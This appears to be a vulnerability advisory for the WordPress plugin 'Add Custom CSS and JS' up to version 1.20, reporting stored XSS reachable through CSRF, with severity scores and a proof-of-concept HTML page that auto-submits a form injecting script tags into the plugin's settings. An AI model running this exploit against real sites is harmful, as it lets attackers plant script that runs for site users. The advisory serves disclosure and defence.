Add Custom CSS and JS <= 1.20 - Stored XSS via CSRF

2024-04-1800:00:00

Bob Matyas

stored xss

csrf

custom css

custom js

update

5.9 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

9.2%

JSON

Description The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in as author and above add Stored XSS payloads via a CSRF attack

Make an author (or above role) open the following HTML:

<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=custom_js_css" method="post">
        <input type="hidden" name="js_adminpanel" value='csrf' />
        <input type="hidden" name="js_frontend" value='</textarea><script>alert("frontend_js")</script>' />
        <input type="hidden" name="js_login" value='</textarea><script><script>alert("login_js")</script>' />
        <input type="hidden" name="css_admin" value='' />
        <input type="hidden" name="css_frontend" value='csrf' />
        <input type="hidden" name="css_login" value='csrf' />
        <input type="submit" name="update" value="Update" />
    </form>
</body>